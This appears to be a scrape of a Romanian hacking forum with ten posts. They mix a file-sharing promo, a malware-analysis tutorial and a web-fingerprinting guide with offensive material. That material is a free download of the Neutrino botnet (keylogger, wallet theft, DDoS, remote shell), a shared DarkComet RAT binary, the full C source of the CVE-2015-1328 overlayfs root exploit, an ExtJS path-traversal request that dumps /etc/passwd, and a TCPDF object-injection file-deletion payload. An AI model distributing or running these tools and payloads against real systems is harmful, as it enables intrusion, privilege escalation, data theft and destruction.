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  1. Salut! Recent, eu impreuna cu cateva persoane, am lansat un proiect fain. Este vorba de un site de File Upload & Sharing. Focusul principal este pe partea de video. Fisierele .mp4 putand sa fie redate intr-un player video (buffering deloc si un minim de reclame foarte safe). Serverele dedicate au acces la internet la viteze de 1Gbps ceea ce permite o viteza foarte buna de download si upload. Nu exista timp de asteptare pentru download, si nu exista viteze limitate de download sau upload. Puteti arunca o privire pe yucloud.co Astept parerile voastre . Respect !!
  2. ------------------------------------------------- Russian thread google translated: ------------------------------------------------- Neutrino Bot - The main functional * HTTP (S) flood (methods GET \ POST) * Smart DDoS * AntiDDOS flood (Emulation js \ cookies) * Slowloris flood * Download flood * TCP flood * UDP flood * Loader (exe, dll, vbs, bat ... + can specify parameters for running the file) * Keylogger (Multilanguage) (support for virtual keyboards (removal of screenshots in the clique size 60x60)) (possibility to monitor the specified window) * Command shell (remote command execution using shell windows) * Stealing files by mask (eg bitcoin wallets) * Launch the browser with one of these links (aka Cheaters views) * Spoofing Hosts * Stilling Win keys * Reproduction (USB \ Archive) * Purity downloads (number found "neighbors" on the computer) * Identifying the installed AV (on all Windows except Server) * Update * Work through the gasket - Additional Features * Anti debugging * AntiVM * Detect sandboxes * Detect all online services automatic analysis * BotKiller * Bot protection (protection process \ file \ registry branches) * Unlimited number of concurrent commands (Some teams have a higher priority than others, and their execution stops others) * Unlimited number of backup domain * Quiet operation even under a limited account * Do not load the CPU - Functional admin * Flexible system for creating jobs * Detailed statistics for bots * Ability to give commands to each country separately or bot * Customizable otstuk bots * Sort bots in Articles IP \ Live \ Country \ OS * System Bans. - Weight uncompressed binary file ~ 50kb (PL - C) - Boat tested on the entire line of Windows, from XP to 8.1 (x32/64) tags -Astea sunt preturile la vanzator dar le ofer gratuit Full set (+ bot + admin panel to build an unlimited number of domains) - $ 200 Rebuild (also unlim. Quantity domains) - $ 10 Update (functional) - $ 20 Builder - $ 550 Payment - WM \ BTC \ Perfect Download: https://mega.co.nz/#!vgBgHIrC!aF9L2ea5xcRU3vQ92rTzA5kOCAeqe43M0jowB9t7Nqs Daca nu aveti unde sa il puneti va pot oferi server Aici
  3. MasterLight


  4. The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIG_USER_NS=y and where overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs inside unprivileged mount namespaces. This is the default configuration of Ubuntu 12.04, 14.04, 14.10, and 15.04 [1]. If you don't want to update your kernel and you don't use overlayfs, a viable workaround is to just remove or blacklist overlayfs.ko / overlay.ko. Details ================================ >From Documentation/filesystems/overlayfs.txt [2]: "Objects that are not directories (files, symlinks, device-special files etc.) are presented either from the upper or lower filesystem as appropriate. When a file in the lower filesystem is accessed in a way the requires write-access, such as opening for write access, changing some metadata etc., the file is first copied from the lower filesystem to the upper filesystem (copy_up)." The ovl_copy_up_* functions do not correctly check that the user has permission to write files to the upperdir directory. The only permissions that are checked is if the owner of the file that is being modified has permission to write to the upperdir. Furthermore, when a file is copied from the lowerdir the file metadata is carbon copied, instead of attributes such as owner being changed to the user that triggered the copy_up_* procedures. Example of creating a 1:1 copy of a root-owned file: (Note that the workdir= option is not needed on older kernels) user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# mv shadow copy_of_shadow (exit the namespace) user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode Device: 801h/2049d Inode: 939791 Links: 1 Device: 801h/2049d Inode: 277668 Links: 1 Now we can place this file in /etc by switching "upper" to be the lowerdir option, the permission checks pass since the file is owned by root and root can write to /etc. user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow root@...ntu-server-1504:~/o# exit user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow The attached exploit gives a root shell by creating a world-writable /etc/ld.so.preload file. The exploit has been tested on the most recent kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04. It is also possible to list directory contents for any directory on the system regardless of permissions: nobody@...ntu-server-1504:~$ ls -al /root ls: cannot open directory /root: Permission denied nobody@...ntu-server-1504:~$ mkdir o upper work nobody@...ntu-server-1504:~$ mount -t overlayfs -o lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work overlayfs /home/user/o nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null total 8 drwxrwxr-x 1 root nogroup 4096 May 24 16:33 . drwxr-xr-x 8 root nogroup 4096 May 24 16:33 .. -????????? ? ? ? ? ? .bash_history -????????? ? ? ? ? ? .bashrc d????????? ? ? ? ? ? .cache -????????? ? ? ? ? ? .lesshst d????????? ? ? ? ? ? linux-3.19.0 Credit ================================ Philip Pettersson, Samsung SDS Security Center References ================================ [1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 [2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt [3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html -------------- /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failed\n"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload created\n"); fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); } Source
  5. File Name: aty.exe = DarkComet MD5: f766539495d37106b4e090ef0e6a5a86 Date/Time: 1-04-15,07:53:51 File Size: 280134 Bytes Reported by Most-Security.com Status: infected Detection: 2/35 AVG Free File Clean! Avast File Clean! AntiVir (Avira)TR\/Dropper.Gen BitDefender File Clean! Clam Antivirus File Clean! COMODO Internet Security File Clean! Dr.Web File Clean! eTrust-Vet File Clean! F-PROT Antivirus File Clean! F-Secure Internet Security File Clean! G Data File Clean! IKARUS Security File Clean! Kaspersky Antivirus File Clean! McAfee File Clean! MS Security Essentials File Clean! ESET NOD32 File Clean! Norman File Clean! Norton Antivirus File Clean! Panda Security File Clean! A-Squared File Clean! Quick Heal Antivirus File Clean! Solo Antivirus File Clean! SophosMal\/VBDrop-G Trend Micro Internet Security File Clean! VBA32 Antivirus File Clean! Zoner AntiVirus File Clean! Ad-Aware File Clean! BullGuard File Clean! FortiClient File Clean! K7 Ultimate File Clean! NANO Antivirus File Clean! Panda CommandLine File Clean! SUPERAntiSpyware File Clean! Twister Antivirus File Clean! VIPRE File Clean! Download: sters - virus Password rar: eazye
  6. Static Malware Analysis Starting here, I would like to share the results of my recent research into malware analysis. We will begin with some basics and proceed to advanced levels. In this first installment, we will discuss the techniques involved in static analysis of malware. I will also include some files for illustrative purposes in this document. Before we directly move onto the analysis part, let us set up context with some definitions. What is Malware? Malware is any software that does something that causes detriment to the user, computer, or network—such as viruses, trojan horses, worms, rootkits, scareware, and spyware. Malware Static Analysis Basic static analysis consists of examining the executable file without viewing the actual instructions. Basic static analysis can confirm whether a file is malicious, provide information about its functionality, and sometimes provide information that will allow you to produce simple network signatures. Basic static analysis is straightforward and can be quick, but it’s largely ineffective against sophisticated malware, and it can miss important behaviors. Enough with definitions — let’s get down to Malware Static Analysis Techniques. Malware Static Analysis Techniques Uploading the results to VirusTotal The very first technique in static analysis is to upload the suspicious executable to VirusTotal, which runs the executable against several AV solutions and gives the result. For example, the below file states that the detection ratio is 17 out of 57. Finding strings Searching through the strings can be a simple way to get hints about the functionality of a program. For example, if the program accesses a URL, then you will see the URL accessed stored as a string in the program. Microsoft has a utility called “Strings”. When Strings searches an executable for ASCII and Unicode strings, it ignores context and formatting, so that it can analyse any file type and detect strings across an entire file (though this also means that it may identify bytes of characters as strings when they are not). Strings searches for a three-letter or greater sequence of ASCII and Unicode characters, followed by a string termination character. Below are some examples of strings from which important information can be revealed. Using the Strings utility, files can be searched with following command at the cmd: Strings <filename> Example 1: Below is a string extraction of keywords from a malicious executable. As we can see, it gives us good information that functions like “FindNextFileA” and “FindFirstFileA”, which shows that this executable will search for a file, and then combining that with “CopyFileA” means that it will find a file and replace it with another file. Another important point to note that is about “Kerne132.dll”. This is a misleading text and should not be confused with “Kernel32.dll”. Example 2: Below is another extraction from a string utility. It shows us that usage of “CreateProcessA” will create a process. Commands like “Exec” and “sleep” are used to control a remote file. It can be a bot as well, and then an IP field, which can be the IP of a controlling server. Example 3: Below is another example of an extraction using Strings. Interesting fields are “InternetOpenURLA” which states that it will connect with some external server to download something, and then we have a http:// file also, which even clarifies the server address from which it will connect and download. How to check if a malware code is obfuscated or not? Often malware writers obfuscate their codes so that the files are hard to read. When a packed program runs, a wrapper program also runs around to unpack it. With static analysis, it is really hard to predict which files are packed unless it is clearly evident that they are. For example, tools like PEid sometimes are able to tell that the files are packed. In the below figure, it is clearly evident that files are packed with UPX. Files which are UPX packed can be unpacked by the following command: upx –o <newfilename> -d <packedfilename> PE file sections ETHICAL HACKING TRAINING – RESOURCES (INFOSEC) Information gathering from Portable Executable (PE) file format PE file format is used by Windows executables, DDLs etc. It contains the necessary information for Windows OS loader to run the code. While examining the PE files, we can analyse which functions have been imported, exported and what type of linking is there i.e. runtime, static or dynamic. PE file sections A PE file contains a header and some more important sections. Under these sections there is some useful information. Let’s understand these sections as well. .text: This contains the executable code. .rdata: This sections holds read only globally accessible data. [.data: Stores global data accessed through the program. .rsrc: This sections stores resources needed by the executable. Most often malware writers use dynamic linking in their code. For example, with the use of the tool Dependency Walker, we can see in the below screenshot that under WININET.dll are functions like “InternetOpenUrlA”, which states that this malware will make a connection with some external server. Note: Wininet.dll contains higher level networking functions that implement protocols such as FTP, HTTP and NTP. Under the header, there is a subsection named “IMAGE_FILE_HEADER”, which contains the timestamp field. This timestamp shows the compile time of the executable. This is very important information, since if the time is old, then there may a case that AV solutions might have a signature around it. However, this field is not reliable, since the compile can be changed easily by the malware writer. Suppose from static analysis, an analyst predicts that the executable will create a process and then suppose the following exec and sleep command is found, but there is no information found about the respective DLL, which has a function to connect with another server. In that case, the resource is hidden with the executable. Open the .rsrc section of PE file with a tool like Resource Hacker to gain more information regarding the malware. Below is the analysing of the above resource using PEview. As we have learnt with static analysis, there is very little information that can be gathered, but it is very useful too. In a coming article, I will bring in dynamic analysis though basic to the rescue. Source MALWARE ANALYSIS BASICS - PART 2 Dynamic Analysis Techniques As we have covered the malware analysis basics with static techniques here, this post is all about performing the basic analysis of malware using dynamic technique. As we have seen in the previous post, the ability to fully perform malware analysis is very much restricted using static techniques either due to obfuscation, packing, or the analyst having exhausted the available static analysis techniques. Precautions Before performing dynamic malware analysis, be sure to do it in a safe environment. Consider deploying a Windows virtual machine and using VMware for provisioning virtual machines. You should also take a snapshot of the virtual machine before executing the malicious binaries so that the safe state can be easily restored. Analyzing with Process Monitor Process Monitor is an advanced monitoring tool for Windows that provides a way to monitor certain registry, file system, network, process, and thread activities. Process Monitor monitors all system calls it can gather as soon as it is run. Since there are always huge number of calls being made in the Windows OS, it is sometimes impractical to discover important events. Process Monitor helps this issue with a filter tab through which we can filter by the type of calls. For example, see the screenshot below. It shows that I have applied a filter with operation of “WriteFile” and “RegSetValue”. These are usually the call made by a malicious executable to write the file onto the disk and to make registry changes. After applying the filter, we get a list of following events in Process Monitor. The most important are the top two entries which shows the execution of file and creation of registry entry with a new entry named “Video Driver.” Other entries can be ignored as it is usual for pseudorandom numbers to be generated. On clicking the first entry, we can even see that what action that call has made. As is clear from the screenshot below, a total 7168 bytes have been written to the file system by this binary. Analyzing with Process Explorer Process Explorer is a tool used for performing dynamic analysis and can give you a great insight onto the processes currently running onto the system. Below is an example of the process being created after running a binary. Clicking on process can help you reveal whether the process has created any mutant or not. Also it can give you all the information about the DLLs being used by the function. Below, the screenshot shows that the process uses ws2_32.dll, which means that a network connection will be made by this process. Double clicking a particular process will yield more information about the process. Some of the important attributes are: Verify Option. There is a verify option in every process to check whether that binary is signed by the MS or not. Below, the screenshot depicts that this binary is not signed by the MS. Threads will showcase the number of threads associated with this process. Strings tab can help in determining whether there is any process replacement occur or not. If two strings are drastically different then the process replacement might have occur. Below, the screenshot shows that strings in the executable both on disk and in memory. Using INetSim INetSim is a free Linux based suite for simulating common Internet services. It is sometimes difficult to analyze a malware without letting it complete execute the code and that can involve contacting the outer world for services over http, https, FTP etc. INetSIM does exactly this by emulating services like Http, Https, FTP and allows analyst to analyze the behaviour of malware. Since this is Linux based, the best way to use this is to install it on a Linux machine and keep it in the same network as that of windows testing machine. INetSIM can serve any type of request that the malware might request for. For example, suppose a malware requests for an image from the for tis code to execute. INetSIM can fulfil the request of the malware though the image will not be what malware will be looking for but it will keep the malware to keep executing the code. INetSIM can also log all the request from the client regardless of the port. This can be used to record all the data sent from malware. In the next series, we will move to advanced techniques of malware analysis using both static and dynamic analysis. Source
  7. Product Description With NeatMP3 Pro you can merge, organize, rename and edit the tags of your audio files in a single processing session. Just select a set of audio files, choose the way in which your files will be organized and renamed from a wide set of commonly used predefined patterns, select the location where you want your files to be moved and you’re ready to go. Get a perfectly organized music collection in just three easy steps. If the audio files that you are trying to organize have incomplete or invalid tags NeatMP3 Pro will automatically take care of them by removing the invalid tags and searching online for the missing tags. Windows version: Mac version: Want to manually edit your tags? No problem! NeatMP3 Pro also allows manual and batch id3 tag editing and offers support for Unicode characters. NeatMP3 Pro supports all the commonly used audio file formats (MP3, OGG, FLAC, WAV, MPC, AIFF, ASF, MP4) and also benefits from additional features like output preview, file search, saving the current setting as profiles for later use, logging, deleting the source photos after processing and even allows you to play the songs that you are organizing. All these features combined make NeatMP3 Pro a very useful music organizing tool that every music enthusiast should have. Supported OS: Windows (XP, Vista, 7, 8) / Mac OS X (Snow Leopard, Lion, Mountain Lion, Mavericks) System Requirements: Pentium or compatible processor at 1 GHz, 256 MB RAM, sound card Features: songs that have the same artist, genre, year or combinations of these attributes like year/artist, genre/artist/year or any other combination you would think of Edit the tags of MP3, OGG, FLAC, WAV, MPC, AIFF, ASF or MP4 files Support for Unicode characters Support for the mp3, mp4, wav, flac, aif, asf, ogg, mpc, spx and wv file extensions Automatically search online for missing tags Automatically fill missing tags by extracting them from the original file’s name Automatically erase invalid tags Rename your original files using tag information and get rid of the annoying “Track X.mp3? files Add individual files or entire folders (with sub-folders) to the organize/edit list Select the destination folder of your organized files Delete the original files after the organized files have been moved to the destination folder Play audio files so that you can easily identify the artist and title of a song Save your settings as profiles for later use Save a log file with all your processing information Batch tag editing Organize songs by Album and Album/Artist Drag and drop files directly to the list of audio files Real-time preview of the currently selected file’s output path Search for songs with a specific file extension and add the to the list of audio files Support for the m4a, wav and wave file extensions Free updates to all the future versions of the software Product Homepage Here -> Download <-Deal Expires in: EXPIRED!
  8. When performing a Web Application Security Assessment, an important step is Fingerprinting which allows for further exploitation by an attacker. So as a security researcher/pentester, we should do well at fingerprinting the web server, which gives lot of information like application name, software version, web server info, OS, and more. This helps for known vulnerabilities, researching vulnerabilities and exploiting. So here I will discuss some techniques which are required for this task: Finger Print Methodology How to perform this activity: obviously for an attacker there is no hard and fast rule to perform this operation. For pentesting we will discuss some methods below. HTTP Header Banner Grabbing The most basic form of identifying a web framework is to gather the basic architecture like application name and server banner which will be more helpful for banner grabbing. Banner grabbing by Netcat: So we got AkamaiGhost, which is a load balancer that prevents finger printing. Banner grabbing by Telnet: Here we got a lot of information about the application and server for further exploitation. By Nmap: Using some Nmap command we can also enumerate information about application and web server finger printing. If you want to know more about Nmap please click here. By sending a malformed HTTP Header request/Junk request Review by inspecting cookies Crawling cookies can reveal lots of information about the application. See the below example: Host: resources.infosecinstitute.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referrer: http://www.google.co.in/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCYQjBAwAQ&url=http%3A%2F%2Fresources.infosecinstitute.com%2Fnmap-cheat-sheet%2F&ei=JCpCVaK1Mo-wuASe1YC4Cg&usg=AFQjCNFYlxcvuiEFw2QCg-9_e6R-M76_9Q&sig2=y9KWwXGOOQ_bVpfKw-fiaA&bvm=bv.92189499,d.c2E&cad=rja Cookie: __utma=192755314.2098953166.1427376874.1427376874.1427376874.1; __utmz=192755314.1427376874.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); visitor_id12882=216943492; __distillery=v20150227_1ce95eb6-6db3-422d-8dfe-497a0e3b3b7f; _ga=GA1.2.2098953166.1427376874; X-Mapping-fjhppofk=767BD7CA2B9E38F518B95F35B5326A01 Connection: keep-alive Automation and Tools Implementation Here we will discuss some of the tools which can be of further use for finger printing. We will discuss one by one. Whatweb: Currently Whatweb is the most important tool for finger printing in Kali Linux. It includes the below features: Text strings (case sensitive) Regular expressions Google Hack Database queries (limited set of keywords) MD5 hashes URL recognition HTML tag patterns Custom ruby code for passive and aggressive operations See the below screenshot. BlindElephant: Blind Elephant is an open-source generic web application finger printer that produces results by examining a small set of static files. Basically it is called static finger printing. It searches the file name for file extensions developed by the Python library and gives the finger print result. Fireup the below command to install: svn co https://blindelephant.svn.sourceforge.net/svnroot/blindelephant/trunk blindelephant Follow the below pictures: Scan the target with the below command: Plugin Support: With –p switch we can search for a plugin like the below command for WordPress: Blindelephant.py –s –p guess target plugin python BlindElephant.py -u target Actually it scans for static files, version no, config file. A best candidate for finger printing is by checking the checksum of the file like with the hashing method. Some others are below: Css file Js file .ini file En-GB ini file and many more Extending support for Python From a hacker’s perspective, we need customized finger printing and our function should support it. Though it is open source, we can do customization. Check the below snippet of code: $python >>> from blindelephant.Fingerprinters import WebAppFingerprinter >>> >>> #Construct the fingerprinter >>> #use default logger pointing to console; can pass "logger" arg to change output >>> fp = WebAppFingerprinter("http://laws.qualys.com", "movabletype") >>> #do the fingerprint; data becomes available as instance vars >>> fp.fingerprint() (same as above) >>> print "Possible versions:", fp.ver_list Possible versions: [LooseVersion ('4.22-en'), LooseVersion ('4.22-en-COM'), LooseVersion ('4.23-en'), LooseVersion ('4.23-en-COM')] >>> print "Max possible version: ", fp.best_guess Max possible version: 4.23-en-COM Wappalyzer Website: Wappalyzer Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn’t need anything other than the page to be loaded on the browser. It works completely at the browser level and gives results in the form of icons. Sometimes it may a be false positive, so be careful when using this tool. Desenmascara.me This is online tool for extracting information. It reveals lots of info including web server info, application info and known vulnerabilities. httprint – the advanced HTTP fingerprinting engine This uses static analysis with a signature file that contains a different header file for different types of servers. ./httprint -s signatures.txt -o apache1.html -h apache.example.com s-signature for different http header o-output to a file h-host file HTTP Recon httprecon project / download This is all in one project which provides finger printing and reporting. It involves five tabs which help security testers to refine the results during finger printing. See the image below. We got lots of information from here. NetCraft Another all in one tool is NetCraft, which is an online tool. We can grab various information by using this tool. Netcraft Extension - Phishing Protection and Site Reports References An Introduction to HTTP Fingerprinting Wappalyzer http://blindelephant.sourceforge.net/ Source
  9. Hi all?? Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services File: /examples/feed-viewer/feed-proxy.php line:3-line:6 $feed = $_REQUEST['feed']; if($feed != '' && strpos($feed, 'http') === 0){ header('Content-Type: text/xml'); $xml = file_get_contents($feed); When we request like this url http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed= if the resource exist,we can get internal http services info ??strpos($feed, 'http') === 0?? we can request this url to bypass the restrictions achieve arbitrary file read http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd view the HTML source code root:x:0:0:Web-useast4 root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false landscape:x:103:108::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash ntp:x:105:111::/home/ntp:/bin/false snmp:x:106:112::/var/lib/snmp:/bin/false statd:x:107:65534::/var/lib/nfs:/bin/false postfix:x:108:114::/var/spool/postfix:/bin/false Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team ________________________________ Id:Yaseng Hi: Hisengberg Team: Baidu X-team E-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com> [tips] Source: http://dl.packetstormsecurity.net/1505-exploits/extjs-disclose.txt
  10. TCPDF library Universal POI Payload to Arbitrary File Deletion [+] Author: Filippo Roncari [+] Target: TCPDF library [+] Version: <= 5.9 and probably others [tested on v5.9] [+] Vendor: http://www.tcpdf.org [+] Accessibility: Remote [+] Severity: High [+] CVE: n/a [+] Advisory URL: n/a [+] Contacts: f.roncari@securenetwork.it / f@unsec.it [+] Summary TCPDF library is one of the world's most used open source PHP libraries, included in thousands of CMS and Web applications worldwide. More information at: http://en.wikipedia.org/wiki/TCPDF. A universal Object Injection payload for vulnerable PHP applications, which make use of TCPDF library, is here shared. [+] Exploit Details The identified payload allows to exploit any POI vulnerable web application that uses unserialize() on not sanitized user input in a point from which the Tcpdf class is loadable. The payload abuses the __destruct() magic method of the Tcpdf class defined in tcpdf.php and allows to arbitrary delete files on the filesystem. [+] Technical Details Tcpdf.php contains the Tcpdf class definition. The __destruct() method, at least up to version 5.9 (and possibly others), is implemented as follows. [!] Method __destruct() in tcpdf.php ------------------------- public function __destruct() { // restore internal encoding if (isset($this->internal_encoding) AND !empty($this->internal_encoding)) { mb_internal_encoding($this->internal_encoding); } // unset all class variables $this->_destroy(true); } ------------------------- As you can see, the main action performed by __destruct() is the invocation of the inner _destroy() method, which, along with other things, calls the unlink() function on the internal object buffer. [!] Method _destroy() in tcpdf.php ------------------------- public function _destroy($destroyall=false, $preserve_objcopy=false) { if ($destroyall AND isset($this->diskcache) AND $this->diskcache AND (!$preserve_objcopy) AND (!$this->empty_string($this->buffer))) { unlink($this->buffer); } [...] } ------------------------- For a better understanding of the payload, you should know that $buffer is defined as a protected property of the Tcpdf object, which means significant differences in serialization compared to normal properties. [!] $buffer in tcpdf.php ------------------------- /** * @var buffer holding in-memory PDF * @access protected */ protected $buffer; ------------------------- [+] Proof of Concept (PoC) In view of the above, the payload consists of a serialized Tcpdf object with two protected properties set: buffer and diskcache. The first will contain the path to the arbitrary file to delete, while diskcache is a boolean property set to true, necessary to enter the _destroy() inner if branch, in order to reach the unlink() call. A particular attention must be addressed to the null-bytes surrounding the asterisks before the property names. This is the way (crazy, I know) in which PHP serializes protected object properties. An incorrect conversion of the null-bytes during payload injection will result in the exploit failure. [!] Payload ------------------------- O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:[PATH_LENGTH]:"[FILE_PATH_TO_DELETE]";s:12:"%00*%00diskcache";b:1;} ------------------------- [!] Generic PoC Exploit ------------------------- http://vulnerablesite.com/vulnerable_page.php?vulnearble_par=O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:26:"/var/www/arbitraryfile.ext";s:12:"%00*%00diskcache";b:1;} ------------------------- [+] Disclaimer Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. Source
